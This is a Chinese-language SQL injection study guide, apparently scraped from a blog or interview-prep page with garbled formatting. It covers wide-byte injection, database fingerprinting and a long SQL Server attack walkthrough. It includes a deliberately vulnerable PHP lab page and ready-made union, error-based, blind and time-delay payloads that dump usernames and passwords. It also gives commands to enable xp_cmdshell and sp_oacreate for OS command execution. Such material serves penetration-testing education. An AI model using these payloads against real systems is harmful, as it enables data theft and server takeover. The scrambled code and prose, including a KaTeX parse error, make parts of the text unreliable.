存在注入漏洞。2. 自动化工具:通过使用一些自动化工具如 SQLMap、Netsparker、AppScan 等进行扫描,检测应用程序中的注入漏洞。
- 数据库审计:通过对数据库的审计来检测是否存在异常的 SQL 语句被执行,以及是否有篡改或删除数据等异常情况。4. 网络监控:通过 网络监控工具,检测是否有异常的网络流量和数据库连接情况,以及是否有异常的 SQL 语句被执行等。
十二、sql 盲注字符串截取函数同时过滤了逗号和单引号怎么办?知道堆叠注入#
吗?#
如果 SQL 盲注字符串截取函数同时过滤了逗号和单引号,攻击者可以尝试使用其他字符或者字符编码来进行绕过。例如,可以使用 ASCII 函#
数将逗号和单引号的 ASCII 码值转化为十六进制形式,然后拼接到 SQL 注入语句中,从而绕过过滤。 堆叠注入是指在已经存在 SQL 注入漏#
洞的情况下,通过嵌套嵌入多个 SQL 语句来进行攻击的一种注入方式。#
堆叠注入的攻击原理是通过在 SQL 注入语句中嵌套多个 SQL 语句来实现多次执行 SQL 语句的目的,从而获取或篡改数据库中的数据。由于#
堆叠注入嵌套了多个 SQL 语句,因此需要攻击者具备较高的 SQL 编程知识和技能,同时也需要对目标数据库的结构和数据有一定的了解。#
为了防御堆叠注入攻击,需要在应用程序和数据库中采取一系列的安全措施,包括输入验证和过滤、参数化查询、最小权限原则等。#
十三、说一下宽字节注入的原理以及为什么会产生这个漏洞?#
什么是宽字节?#
如果一个字符的大小是一个字节的,称为窄字节;如果一个字符的大小是两个字节的,成为宽字节#
像GB2312、GBK、GB18030、BIG5、Shift_JIS等这些编码都是常说的宽字节,也就是只有两字节
英文默认占一个字节,中文占两个字节什么是宽字节注入?#
原理:宽字节注入发生的位置就是PHP发送请求到MYSQL时字符集使用character_set_client设置值进行了一次编码。在使用PHP连接 MySQL的时候,当设置“character_set_client = gbk”时会导致一个编码转换的问题,也就是我们熟悉的宽字节注入
宽字节注入是利用mysql的一个特性,mysql在使用GBK编码(GBK就是常说的宽字节之一,实际上只有两字节)的时候,会认为两个字符是 一个汉字(前一个ascii码要大于 128 ,才到汉字的范围)
GBK首字节对应0×81-0xFE,尾字节对应0×40-0xFE(除0×7F),例如%df和%5C会结合;GB2312是被GBK兼容的,它的高位范围是0xA1- 0xF7,低位范围是0xA1-0xFE(0x5C不在该范围内),因此不能使用编码吃掉%5c
常见转义函数与配置:addslashes、mysql_real_escape_string、mysql_escape_string、php.ini中magic_quote_gpc的配置
Mysql相关知识#
Mysql中有个连接层,何为连接层? 在MYSQL中,有一个中间层的结构,负责客户端和服务器之间的连接,称为连接层 交互的过程如下: ( 1 )客户端(这里指php)以某种字符集生成的SQL语句发送至服务器端(这里指Mysql),这个“某种字符集”其实是任意规定的,PHP作为客户 端连接MYSQL时,这个字符集就是PHP文件默认的编码。 ( 2 )服务器(Mysql)会将这个SQL语句转为连接层的字符集。问题在于MYSQL是怎么知道我们传过来的这个SQL语句是什么编码呢?这时主 要依靠两个MYSQL的内部变量来表示,一个是character_set_client(客户端的字符集)和character_set_connection(连接层的字符集)。 ( 3 )总的来说,就是php把sql语句传给mysql时,要转换character_set_connection字符集的编码,执行流程就是:将php的sql语句以 character_set_client编码(也就是转为 16 进制数),再将 16 进制数以character_set_connection进行编码(也就是转换为url编码),然后 以内部操作字符集进行url解码,最后以character_set_results编码输出结果 内部操作字符集怎么确定?进行内部操作前将请求数据从character_set_connection转换为内部操作字符集,其确定方法如下:
- 使用每个数据字段的CHARACTER SET设定值;
- 若上述值不存在,则使用对应数据表的DEFAULT CHARACTER SET设定值(MySQL扩展,非SQL标准);
- 若上述值不存在,则使用对应数据库的DEFAULT CHARACTER SET设定值;
- 若上述值不存在,则使用character_set_server设定值。
可以理解的同时参考下面这幅图片
注:#
查看Mysql字符集
show variables like '%char%';修改字符集#
set names 'gbk';相当于下面的三句命令
mysql> set character_set_client = gbk;
mysql> set character_set_results = gbk;
mysql> set character_set_connection = gbk;实例#
以sqli-labs的第 32 关为例 ( 1 )输入’,被\转义
( 2 )输入%df
( 3 )分析执行过程#
① id=%df%27,浏览器执行时会自动url解码一次,断点你就会发现
注:其实那个乱码的是希腊字母β
② 此时KaTeX parse error: Can’t use function ‘'’ in math mode at position 39: …rs WHERE id=‘1�\̲’̲’ LIMIT 0,1”`,接…sql转为 16 进制 ( 2 )将 16 进制数转为url编码 ( 3 )这里以GBK(内部操作字符集)进行url解码,执行sql语句 ( 4 )以character_set_results编码输出结果 关键参数简单示意图: %df%27 浏览器url自动解码===> β' 转为 16 进制===> 0xdf0x5c0x27 转换为url编码===> %df%5c%27 进行url解码(因为是GBK编码,%df 和%5c结合为汉字)===> 運’
注:%后面跟 16 进制数,就表示url编码
注:在以GBK为编码的mysql中 %df和%5c才可以结合为汉字,%df和\是无法结合的 例 1 :可结合 注:#注释后面的’ LIMIT 0,1
例 2 :不可结合#
\将’转义,使其失去了原本单引号的意义,只是一个没有灵魂的肉体(不能和左边的单引号闭合),因此id后面的第一个单引号就和最后一 个单引号闭合了,也使得#注释符也失去了作用,因为’‘里的内容被视为了字符串。
十四、sql 注入,怎么判断数据库?#
前言#
在进行SQL注入之前,首先应该判断数据库的类型,不同的数据库在处理一些函数的时候会有一些微妙的差别,只有判断出是哪种数据库类#
型,这样才能根据数据库的类型选择合适的函数,更容易实现SQL注入。#
前端与数据库类型#
asp:SQL Server,Access .net:SQL Server php:MySQL,PostgreSQL java:Oracle,MySQL
根据端口判断#
Oracle :默认端口 1521 SQL Server :默认端口 1433 MySQL :默认端口 3306
根据数据库特有函数来判断#
len和length
len():SQL Server 、MySQL以及db2返回长度的函数。
length():Oracle和INFORMIX返回长度的函数。version和@@version
version():MySQL查询版本信息的函数
@@version:MySQL和SQL Server查询版本信息的函数substring和substr
MySQL两个函数都可以使用 Oracle只可调用substr SQL Server只可调用substring
根据特殊符号进行判断#
/*是MySQL数据库的注释符
--是Oracle和SQL Server支持的注释符
;是子句查询标识符,Oracle不支持多行查询,若返回错误,则说明可能是Oracle数据库
#是MySQL中的注释符,返回错误则说明可能不是MySQL,另外也支持-- 和/**/根据数据库对字符串的处理方式判断#
1. MySQL2. Oracle3. SQL Server根据数据库特有的数据表来判断#
1. MySQL(version>5.0)2. Oracle3. SQL Server根据盲注特别函数判断#
1. MySQL2. PostgreSQL3. SQL Serverhttp://127.0.0.1/test.php?id=1 and 'a'+'b'='ab'
http://127.0.0.1/test.php?id=1 and CONCAT('a','b')='ab'http://127.0.0.1/test.php?id=1 and 'a'||'b'='ab'
http://127.0.0.1/test.php?id=1 and CONCAT('a','b')='ab'http://127.0.0.1/test.php?id=1 and 'a'+'b'='ab'http://127.0.0.1/test.php?id=1 and (select count(*) from information_schema.TABLES)>0 and 1=1http://127.0.0.1/test.php?id=1 and (select count(*) from sys.user_tables)>0 and 1=1http://127.0.0.1/test.php?id=1 and (select count(*) from sysobjects)>0 and 1=1BENCHMARK(1000000,ENCODE('QWE','ASD'))
SLEEP(5)PG_SLEEP(5)
GENERATE_SERIES(1,1000000)WAITFOR DELAY '0:0:5'十四、盲注和延时注入的共同点?#
都是一个字符一个字符的判断#
十五、sqlserver 注入怎么利用思路?#
前言#
本文详细的介绍了Sql Server安全基础,包括环境搭建,T-sql语法,sqlserver用户权限,以及sqlserver注入的方法和提权方式。
Microsoft SQL Server(微软结构化查询语言服务器),也叫 Mssql ,是由美国微软公司所推出的关系型数据库。默认端口号为 1433
常见版本如下
版本 年份 发布名称#
8.0 2000 年 SQL Server 20008.0 2003 年 SQL Server 2000 64-bit版本9.0 2005 年 SQL Server 200510.0 2008 年 SQL Server 200810.25 2009 年 SQL Azure10.50 2010 年 SQL Server 2008 R211.0 2012 年 SQL Server 201212.0 2014 年 SQL Server 201413.0 2016 年 SQL Server 201614.0 2017/09/29 SQL Server 201715.0 2019/11/4 SQL Server 2019Mssql常用场景
学校
政府
OA
棋牌游戏
人事考试网站常见搭配:asp/aspx+sqlserver
一、SQL Server基础#
1. SQL Server 2012安装启动#
win2012
sqlserver 2012安装
下载地址:MSDN, 我告诉你 - 做一个安静的工具站,如下复制下载链接,使用迅雷打开进行下载
下载到99.99%的时候可能会卡主,不要点击暂停再继续下载,这样可能会导致文件损坏安装不了。稍等一会让它自动下载完成。下载完后计#
算一下sha1值,看是否文件破损
接下来可以进行安装,整个安装过程还是比较简单,可参考:SQL Server 2012 安装教程_柚子君.的博客-CSDN博客_sqlserver2012安装教 程
这里我使用的混合模式进行身份验证
启动#
开始-搜索 " ssms",然后双击“Microsoft SQL Server Management Studio”
其中服务器名称如果是在本地登录则可以输:127.0.0.1,localhost,. ,计算机名。远程登录则输:服务器ip,端口。
certutil -hashfile cn_sql_server_2012_enterprise_core_edition_with_sp1_x64_dvd_1234496.iso sha1输入账号 sa ,密码为安装时设定的,点击连接
如下,成功连接#
navicat远程连接
版本:Navicat Premium16sqlserver 2012安装完后就默认允许远程连接
主机填写 ip,端口
Navicat并没有初始化安装sqlncli, 所以连接的时候会报没有默认驱动,点击是进行安装
安装之后就能正常连接了#
2. SQL Server概念#
数据库的组成#
如下,我们新建一个数据库,右键新建数据库#
输入数据库名称,然后改下数据库文件的存储路径#
新建完后,能看到多出来了两个文件#
在sqlserver中:
数据库以文件的形式存在
数据库由文件和文件组组成数据库文件
主要数据文件:存放数据和数据库的初始化信息。每个数据库有且只能有一个主要数据文件。.mdf结尾
次要数据文件:存放除了主要数据文件以外的所有数据文件。次要数据文件不是必须的,可以没有。如果有的话,可以是一个,也可以
有多个。.ndf扩展名
事务日志文件:存放用户回复数据库的所有日志信息。每个数据库至少要有一个日志文件,也可以有多个。.ldf结尾文件组
文件组:是数据库文件的一种逻辑管理单位,它将数据库文件分成不同的文件组,方便对文件的分配和管理。分为两种类型
主文件组 Primary :主要数据文件和没有明确指派给其他文件组的文件。
用户自定义的文件组:Create DataBase或 alter database 语句,fileGroup关键字指定的文件组设计原则:
文件只能是一个文件组的成员
文件或文件组不能由一个以上的数据库使用
白志不能作为文件组的一部分。数据库中常用对象#
在一个数据库中又存在很多类似菜单栏一样的东西,我们可以称为数据库中的对象#
在数据库中新建表,如下,然后输入表的字段名,ctrl+s保存然后输入表的名字“student”
然后刷新#
就可以看到刚才新建的表,dbo.表名
数据库中的常用对象含义如下:#
1. 表:包含数据库中所有数据的对象,行和列组成。用于组织和存储数据。#
2. 字段:表中的列,一个表可以有多个列。数据类型(决定了该字段存储哪种类型的数据),大小(长度)#
3. 视图:表(虚拟表)一张或多张表中导出的表,用户查看数据的一种方式,结构和数据是建立在对表的查询基础之上的。#
4. 索引:为了给用户提供一种快速访问数据的途径,索引是依赖于表而建立,检索数据时,不用对整个表进行扫描,可以快速找到所需的#
数据。#
5. 存储过程:是一组为了完成特定功能的SQL语句的集合(可以有查询、插入、修改、删除),编译后,存储在数据库中,以名称进行调#
用,当调用执行时,这些操作就会被执行。#
6. 触发器:在数据库中,属于用户定义的SQL事务命令集合,针对于表来说,当对表执行增删改操作时命令就会自动触发而去执行。#
7. 约束:对数据表的列,进行的一种限制。可以更好的规范表中的列。#
8. 缺省值:对表中的列可以指定一个默认值,当进行插入时,如果没有为这个列插入值,那么就会自动以预先设置默认值进行自动补充。#
默认库介绍#
SQLServer数据库有 6 个默认的库,分别是 4 个系统数据库:master 、model 、msdb 、tempdb,和 2 个实例数据库:ReportServer、 ReportServerTempDB。
master数据库:master数据库控制SQL Server的所有方面。这个数据库中包括所有的配置信息、用户登录信息、当前正在服务器中运
行的过程的信息。
model数据库:model数据库是建立所有用户数据库时的模板。当你建立一个新数据库时,SQL Server会把model数据库中的所有对象
建立一份拷贝并移到新数据库中。在模板对象被拷贝到新的用户数据库中之后,该数据库的所有多余空间都将被空页填满。
msdb数据库:msdb数据库是SQL Server中的一个特例。如果你查看这个数据库的实际定义,会发现它其实是一个用户数据库。不同
之处是SQL Server拿这个数据库来做什么。所有的任务调度、报警、操作员都存储在msdb数据库中。该库的另一个功能是用来存储所
有备份历史。SQL Server Agent将会使用这个库。
tempdb数据库:tempdb数据库是一个非常特殊的数据库,供所有来访问你的SQL Server的用户使用。这个库用来保存所有的临时
表、存储过程和其他SQL Server建立的临时用的东西。例如,排序时要用到tempdb数据库。数据被放进tempdb数据库,排完序后再把结果返回给用户。每次SQL Server重新启动,它都会清空tempdb数据库并重建。永远不要在tempdb数据库建立需要永久保存的
表。3. T-SQL语言#
在mysql中使用sql对数据库进行操作,而在sqlserver中使用的是Transaction-SQL,简称T-SQL。T-SQL是在sql基础之上的一种数据库编程 语言
创建数据库
1. 用T-sql新建一个名为TestNewBase的数据库,语句如下这个过程其实和图形化新建数据库是一样的#
创建新的数据库为什么要 use master?
master:系统数据库,它记录了SOL Server系统的所有系统级信息,还记录了所有其他数据库文件的位置,及SQL Server的初始化信息等。
创建表
在TestNewBase中新建两张表,新建表的时候要同时指明字段信息
use master
--创建数据库
create database TestNewBase
on primary --主文件组
(
name='TestNewBase', --数据库主要数据文件的名字(逻辑名称)
filename='C:\DB\TestNewBase.mdf',
size=5MB, --数据库主要文件的初始大小
filegrowth=1MB --文件的增量
)
log on --创建日志文件
(
name='TestNewBase_log', --数据库日志文件的名字
filename='C:\DB\TestNewBase_log.mdf',
size=1MB, --数据日志文件的初始大小
filegrowth=10% --日志文件的增量
)
go --执行语句插入数据#
使用insert在users表中插入数据
以窗口的形式查看表中的数据#
use TestNewBase--新建表
create table ProductInfos
(
id int identity(1,1) primary key not null, --identity(1,1) 从 1 开始编号,设置为主键
ProNo varchar(50) not null,
ProName nvarchar(50) not null,
TypeId int not null,
Price decimal(18,2) null,
ProCount int null
)create table ProductType
(
TypeId int identity(1,1) primary key not null,
TypeName nvarchar(50) not null
)
gouse TestDB-- inseret (into) 表名(列名,列名,列名...) values (值,值...)
insert into users(id,name,age) values ('1','wgy','18')--或者
-- inseret into 表名(列名,列名,列名...) select 值,值...
insert into users(id,name,age) select 2,'xcc',20基础语法总结#
T-sql和sql一样,单词不区分大小写
注释符: -- 和 /*......*/
语句不强制以分号结尾数据操作类
select –查询 insert –插入 DELETE –删除 UPDATE –更新
数据定义类
create table –创建表 drop table –删除表 alert table –修改表结构
1. 查询所有数据库#
2. 获取当前数据库所有表名#
3. 获取表中所有字段名#
4. 查询表中的所有数据#
create database xx --新建数据库USE master;drop DATABASE Testdb --删除数据库Select Name FROM Master.dbo.SysDatabases orDER BY Name
--或者
select * from sys.databases; --很详细的输出--查询当前数据库名
select db_name()Select Name FROM SysObjects Where XType='U' orDER BY Name
--XType='U':表示所有用户表;
--XType='S':表示所有系统表;Select Name FROM SysColumns Where id=Object\_Id('users');select \* from users4. sqlserver权限#
sqlserver中的权限控制被分成服务器和数据库两个级别,一个服务器可以包含多个数据库。
服务器级别的权限可以让我们控制登录、服务器资源操作等,而数据库级别的权限可以让我们对具体的表/视图/数据等数据库内资源进行操 作控制。
在服务器级别,SQL server为我们提供了:服务器角色、登录名和安全对象。服务器默认有 10 个登录名(安装时选择的功能不同,数量也会有差别),其中sa默认拥有服务器角色sysadmin(最高权限)和public。(可 以把角色理解为权限的集合,如windows中的组)
在数据库级别,SQL server为我们提供了:数据库角色、用户名、架构和安全对象。新建一个数据库默认拥有 10 个角色,其中public角色是每个数据库用户必须拥有的,不可撤销;db_owner角色表示数据库的拥有者(默认 被dbo账户拥有),对这个数据库拥有至高的权力,相当于服务器角色中的sysadmin。
新建一个数据库,默认拥有四个用户,其中dbo账户拥有数据库角色db_owner,也就是说拥有了数据库的至高操作权力
当我们进行远程连接sqlserver时,需要提供服务器级别的登录名来登录到服务器,如下面的sa用户
新建用户并赋予权限#
如何给服务器新建一个类似于sa的用户了?
设置登录名#
选择服务器角色,授予用户权限,这里选择和sa用户一样的角色,这样就拥有管理员权限
接着就可以使用该用户进行登录了#
权限总结#
在渗透测试中我们关注的是sqlserver服务器级别的权限,可以把权限简单的归个类:
sa权限:即服务器角色sysadmin。拥有数据库操作,文件管理,命令执行,注册表读取等权限。SQLServer数据库的最高权限
db权限:文件管理,数据库操作等权限 users-administrators
public权限:数据库操作 guest-users判断当前用户权限
--判断是否是SA权限
select is_srvrolemember('sysadmin')
--判断是否是db_owner权限
select is_member('db_owner')
--判断是否是public权限
select is_srvrolemember('public')二、Sqlserver手工注入#
sqlServer注入也叫MSSQL注入,是最为复杂的数据库攻击技术,由于该数据库功能十分强大,存储过程以及函数语句十分丰富,这些灵活 的语句造就了新颖的攻击思路。
对于mssql的一个注入点我们往往最关心的这个注入点的权限问题,是sa、db_owner还是public;其次是这个注点是否显错,注释语句是否 可用,例如sql server中注释符“–”;还有就是注入点是什么类型的,是字符型注入,还是数字型注入。
环境搭建#
为什么这里推荐手动搭建环境而不用在线靶机了?因为自己搭建的环境更加有利于自身对sqlserver注入漏洞的理解。
实验环境:
sqlserver 2012
phpstudy2018,php5.6.27(为了方便使用php语言,asp语言有点麻烦)在sqlserver中新建数据库和表
phpstudy添加sqlsrv扩展
下载:Download Microsoft Drivers for PHP for SQL Server from Official Microsoft Download Center
右键解压得出下面的dll文件,因为我的php版本是5.6,所以将如下两个dll文件复制到 “phpStudy\PHPTutorial\php\php-5.6.27-nts"中
select @@version --查询数据库的版本
select host_name() --查询主机名,如果是用navicat远程连接的话,主机名是本地的名字
select db_name() --查询当前数据库名
select db_name(1) --查询第一个数据库名
select db_name(2) --查询第二个数据库名,前 6 个数据库为默认库
select user --查询当前数据库的拥有者,结果为 dbo。dbo是每个数据库的默认用户,具有所有者权限,全称:datebaseOwner
,即DbOwner--判断是否是SA权限
select is_srvrolemember('sysadmin')
--判断是否是db_owner权限
select is_member('db_owner')
--判断是否是public权限
select is_srvrolemember('public')--第一步
use master
create database News
--第二步
use News
create table sys
(
uid int primary key not null,
name nvarchar(50) not null,
age nvarchar(50) not null
)
create table Users
(
id int primary key not null,
username nvarchar(50) not null,
passwd nvarchar(50) not null
)
insert into users(id,username,passwd) values ('1','alice','18')
insert into users(id,username,passwd) values ('2','wgy','18')
insert into users(id,username,passwd) values ('3','alun','17')
go并在php.ini中添加如下两行
1. 安装ODBC DriverODBC Driver 下载 https://files.cnblogs.com/files/wtcl/sqlserverodbc.zip
电脑是 64 位的则安装 64 位的。
最后重启phpstudy,查看phpinfo,如果存在如下扩展则说明安装成功
- 在www目录下添加一个php文件,源码如下:
extension=php_sqlsrv_56_nts.dll
extension=php_pdo_sqlsrv_56_nts.dll<?php
header("Content-Type:text/html;charset=gbk");$conn = sqlsrv_connect('127.0.0.1', array('Database' => 'News', 'UID' => 'sa' , 'PWD' => 'Sqlserver123'));if($conn == false){
var_dump(sqlsrv_errors());exit;
}
$id = $_GET["id"];
$sql = "SELECT * FROM Users where id = $id";
echo "SQL Server injection exercise!"."<br/>"."<br/>";
echo "sql: ".$sql;
echo "\<hr\>";
$result = sqlsrv_query($conn, $sql);
var_dump(sqlsrv_errors());
echo "\<hr\>";
if ( $re = sqlsrv_fetch_array($result)) {
echo $re['username']."\t".$re['passwd'];
}
?>到此,环境搭建完成,开始手工注入学习!#
注入手法#
总的来说和mysql注入的方法差不多,差别在于一些函数的不同
1. 联合查询
MSSQL的系统自带库–>master。其实在每个网站中,一般一个网站不会跨库,而在MSSQL中每个库都有一个系统自带表–>sysobjects
此系统表中对我们有用的只有 3 个字段,NAME字段和XTYPE字段和ID字段。name就是表名信息。xtype是代表表的类型,只有两个参数,S 代表系统自带表,U代表用户创建的表。id字段的值用来连接syscolumns表
top关键字:由于MSSQL中不存在limit,那么想要输出一条数据怎么办呢,直接top 1,输出两条数据top 2
- 判断是否是mssql
返回正常,说明网站使用的数据库是Mssql!
2. 判断字段长度#
order by 3返回正常,说明字段长度是 3 !
3. 寻找字符串显示位#
如下两个显示位可以利用#
mssql.php?id=1 and exists(select * from sysobjects) --+mssql.php?id=1 order by 3--+ --正常
mssql.php?id=1 order by 4--+ --报错mssql.php?id=-1 union all select 11,22,33 --+4. 查询相关信息#
@@version-:获取版本信息
db_name():数据库名字
获取当前数据库名
5. 查询表名#
将获取到的数据库名与.sys.sysobjects拼接
查询出了第一个表名Users
然后查第二个,如果想显示更多数据再在后面加and name != ‘第一次输出中的表名’以此类推
6. 获取列名#
mssql.php?id=-1 union all select 11,22,db_name() --+mssql.php?id=-1 union all select 11,22,(select top 1 name from News.dbo.sysobjects where xtype='u')mssql.php?id=-1 union all select 11,22,(select top 1 name from News.dbo.sysobjects where xtype='u' and name
!='Users') --?id=-1 union all select 11,22,(select top 1 col_name(object_id('users'),1) from sysobjects) --
--col_name 是查询的列名,object_id('manage')是从manage这个表里查询, 1 代表的是查询第一个列名。查询第 2 列则将 1 改为 2这样查询出了列为 id username passwd
- 获取数据
获取username字段的数据
得到username值:alice wgy alun
以同样的方式获取passwd值
这样数据库中的信息通过联合查询注入就都获取到了!#
2. 报错注入#
mssql数据库是强类型语言数据库,当类型不一致时将会报错,配合子查询即可实现报错注入。
对于报错注入,这里会使用到,convert()函数,CONVERT()函数是把日期转换为新数据类型的通用函数。
语法:
--获取username第一行的值
?id=-1 union all select 11,22, (select top 1 username from users) --
--获取username第二行的值
?id=-1 union all select 11,22, (select top 1 username from users where id=2)
--获取username第三行的值--
?id=-1 union all select 11,22, (select top 1 username from users where id=3) --?id=-1 union all select 11,22, (select top 1 passwd from users) --
?id=-1 union all select 11,22, (select top 1 passwd from users where id=2) --
......CONVERT(data_type(length),data_to_be_converted,style)
--注释 :
data_type(length) 转换为目标数据类型(带有可选的长度)。
data_to_be_converted 含有需要转换的值。
style 规定日期/时间的输出格式。示例#
结果类似#
故,对于 convert(int,@@version),convert 函数首先会执行第二个参数指定的SQL查询,然后尝试将查询结果转换为int类型。但是,由于 这个SQL查询的结果是varchar类型,无法进行指定的转换,所以,convert函数会抛出 一个SQL server错误消息,指出“SQL查询结果”无法 转换为“int”类型,这样的话,攻击者就能得到这个SQL查询的结果了。
满足条件的函数还有很多:
convert()函数
1. 查询基本信息获取当前数据库#
或者同时将所有数据库爆出来#
select CONVERT(VARCHAR(19),GETDATE())
select CONVERT(VARCHAR(10),GETDATE(),110)
select CONVERT(VARCHAR(11),GETDATE(),106)
select CONVERT(VARCHAR(24),GETDATE(),113)Dec 29 2008 11:45 PM
12-29-2008
29 Dec 08
29 Dec 2008 16:25:46.635convert()
file_name()
db_name()
col_name()
filegroup_name()
object_name()
schema_name()
type_name()
cast()convert(int,@@version) 获取版本信息
convert(int,db_name()) 数据库名字
convert(int,user) 当前用户名
convert(int,@@SERVERNAME) 获取有关服务器主机的信息mssql.php?id=2 and 1=convert(int,db_name()) --
--或者
mssql.php?id=convert(int,db_name()) ----或者
mssql.php?id=1 and 1=convert(int,db_name(0)) -- --查询当前数据库
mssql.php?id=1 and 1=convert(int,db_name(1)) -- --查询第二个数据库,以此类推mssql.php?id=1 and 1=convert(int,stuff((select quotename(name) from sys.databases for xml path('')),1,0,''))-1. 爆表名#
得出Users表
同时爆News中的所有表
得出表:Users manage sys
2. 爆字段#
爆news数据库Users表中的所有字段
mssql.php?id=1 and 1=CONVERT(int,(select top 1 table_name from information_schema.columns)) --mssql.php?id=1 and 1=convert(int,stuff((select quotename(name) from news.sys.objects where type='U' for xml
path('')),1,0,'')) --mssql.php?id=1 and 1=convert(int,stuff((select quotename(name) from news.sys.columns where
object_id=object_id('users') for xml path('')),1,0,'')) --3. 爆数据#
爆Users表中username字段的所有数据
爆Users表中passwd字段的所有数据
cast()函数
直接报错#
等号两边数据类型不一致配合子查询获取数据。#
1. 获取当前数据库名#
mssql.php?id=1 and 1=convert(int,stuff((select quotename(username) from users for xml path('')),1,0,''))--mssql.php?id=1 and 1=convert(int,stuff((select quotename(passwd) from users for xml path('')),1,0,''))----获取当前数据库名
?id=1 and 1=(select cast(db_name() as int)) --mssql.php?id=1 and 1=(select db_name()) --2. 获取所有数据库#
3. 获取库中的所有表#
4. 获取表中的所有字段#
5. 获取所有数据#
获取Users表中username字段的所有数据
?id=1 and 1=(stuff((select quotename(name) from sys.databases for xml path('')),1,0,'')) --?id=1 and 1=(stuff((select quotename(name) from news.sys.objects where type='U' for xml path('')),1,0,'')) --?id=1 and 1=(stuff((select quotename(name) from news.sys.columns where object_id=object_id('users') for xml
path('')),1,0,'')) --?id=1 and 1=(stuff((select quotename(username) from users for xml path('')),1,0,'')) --3. 布尔盲注#
如果不能直接通过页面查看到数据库返回的信息,页面根据用户的输入只回显两种状态true和false,则可以通过构造逻辑判断(比较大小)来 得到需要的信息
- 判断是否存在盲注
和mysql盲注一样,先如下测试,看是否存在布尔盲注
2. 猜测当前数据库名长度#
所以数据库名长度为 4 个字符#
3. 获取当前数据库名#
查询数据库名第一个字符的ascii码为 78 ,对应字母N
and 1=1-- --正常显示
and 1=2-- --不正常/mssql.php?id=2 and len((select db_name()))=3 -- --数据库名长度为 3 个字符,页面不显示
/mssql.php?id=2 and len((select db_name()))=4 -- --数据库名长度为 4 个字符,页面正常显示查询数据库名第二个字符的ascii码为 78 ,对应字母e
按照同样的方法获取到数据库名为“News”
4. 延时注入
延时函数: WAITFOR DELAY
WAITFOR是SQL Server中Transact-SQL提供的一个流程控制语句。它的作用就是等待特定时间,然后继续执行后续的语句。它包含一个参 数DELAY,用来指定等待的时间。
如果将该语句成功注入后,会造成数据库返回记录和 Web请求也会响应延迟特定的时间。由于该语句不涉及条件判断等情况,所以容易注入 成功。根据Web请求是否有延迟,渗透测试人员就可以判断网站是否存在注入漏洞。同时,由于该语句并不返回特定内容,所以它也是盲注 的重要检测方法。
语法:
1. 判断是否存在注入#
2. 猜测当前数据库名长度#
3. 猜测数据库名#
查询数据库名第一个字符的ascii码为 78 ,对应字母N
其实这过程和布尔盲注类似,可以完全套用布尔盲注中的测试语句,将其中的and去了,然后再在后面的语句外面套一个if ()语句就行。
?id=2 and ascii(substring((select db_name()),1,1))>78 --
?id=2 and ascii(substring((select db_name()),1,1))=78 --?id=2 and ascii(substring((select db_name()),2,1))>101 -- --false
?id=2 and ascii(substring((select db_name()),2,1))=101 -- --trueWAITFOR DELAY '0:0:n' -- 表示延迟n秒?id=2 WAITFOR DELAY '0:0:5' --?id=2 if (len((select db_name()))=4) WAITFOR DELAY '0:0:4' --数据库长度为 4 字符则延时4s?id=2 if (ascii(substring((select top 1 db_name()),1,1))=78) WAITFOR DELAY '0:0:4' --延时响应4s三、SQlserver提权#
sql server提权(执行命令)主要依赖于sql server自带的存储过程。目的:sqlserver权限 —> 系统权限
存储过程是一个可编程的函数,它在数据库中创建并保存,是存储在服务器中的一组预编译过的T-SQL语句。数据库中的存储过程可以看做 是对编程中面向对象方法的模拟。它允许控制数据的访问方式(可以将存储过程理解为函数调用的过程),使用execute命令执行存储过 程。
主要分为系统存储过程、扩展存储过程、用户自定义的存储过程三大类。
系统存储过程主要存储在master数据库中,以sp_为前缀,在任何数据库中都可以调用,在调用的时候不必在存储过程前加上数据库
名;
扩展存储过程则是对动态链接库(DLL)函数的调用,主要是用于客户端与服务器端或客户端之间进行通信的,以xp_为前缀,使用方法与
系统存储过程类似;
用户定义的存储过程是SQLServer的使用者编写的存储过程。getshell#
要执行系统命令,首先需获取sqlserver数据库的权限(一般是sa),然后借助数据库自带的存储过程进行提权,由开始的sqlserver权限提 升到执行操作系统命令的权限。
xp_cmdshell执行系统命令
xp_cmdshell可以让系统管理员以操作cmd的方式执行给定的命令,并以文本方式返回输出,是一个功能非常强大的扩展存储过程。 xp_cmdshell在SQLserver2000中默认开启,可以直接执行系统命令。 2005 本身及之后的版本默认禁止,所以想要使用其,就需要拥有SA账 号相应权限,使用sp_configure将其开启。
2005 的xp_cmdshell的权限一般是system,而 2008 多数为nt authority\network service。
1. 判断是否为sa权限,返回 1 则是
2. 判断 xp_cmdshell 是否存在, 1 就是存在, 0 就是不存在
当结果为 0 时,可以通过下列命令恢复#
如果xp_cmdshell被删除,则可以通过下列命令重新加载。
如果连xplog70.dll也被删除,则可以通过下列命令恢复(未验证)
3. 开启 xp_cmdshell
返回ok,则成功
如果不开启,直接执行命令的话会报错#
4. 执行系统命令#
select is_srvrolemember('sysadmin')select count(*) FROM master..sysobjects Where xtype = 'X' AND name = 'xp_cmdshell'dbcc addextendedproc("xp_cmdshell","xplog70.dll");exec master.sys.sp_addextendedproc 'xp_cmdshell', 'C:\Program Files\Microsoft SQL
Server\MSSQL\Binn\xplog70.dll';EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE
--关闭xp_cmdshell
exec sp_configure 'show advanced options',1;RECONFIGURE;exec sp_configure 'xp_cmdshell',0;RECONFIGURE;可以看到当前用户权限是 network service权限,也有可能是system 权限,这个是跟安装过程中,设置启动服务的用户权限相关,建议使用 network service 权限,毕竟如果是 system 权限,那么对于攻击者而言都省下提权的操作了,如图:
如果在安装过程中"sql server数据库引擎"服务选择system账户
那么执行命令时,则为system权限
sp_oacreate执行系统命令
当xp_cmdshell被删除时,可以借助SQLServer中的COM组件SP_OACREATE来执行系统命令,原理是SQL Server提供了一些函数访问OLE对 象,分别是sp_oacreate和sp_oamethod,可利用它们调用OLE控件,间接获取一个shell。
- 使用下面命令查看是否可使用 sp_oacreate 执行系统命令
如果SQLServer 阻止了对组件 ‘Ole Automation Procedures’ 的过程 ‘sys.sp_OACreate’ 的访问,可以使用以下命令打开。
exec xp_cmdshell 'whoami';
--或
EXEC master..xp_cmdshell 'whoami'declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'whoami'EXEC sp_configure 'show advanced options', 1;RECONFIGURE WITH OVERRIDE;EXEC sp_configure 'Ole Automation
Procedures', 1;RECONFIGURE WITH OVERRIDE;2. 执行命令#
这个没有 xp_cmdshell 好用的地方就是不能回显,可以将执行命令的结果进行重定向,然后再在系统中进行查看,比如命令:
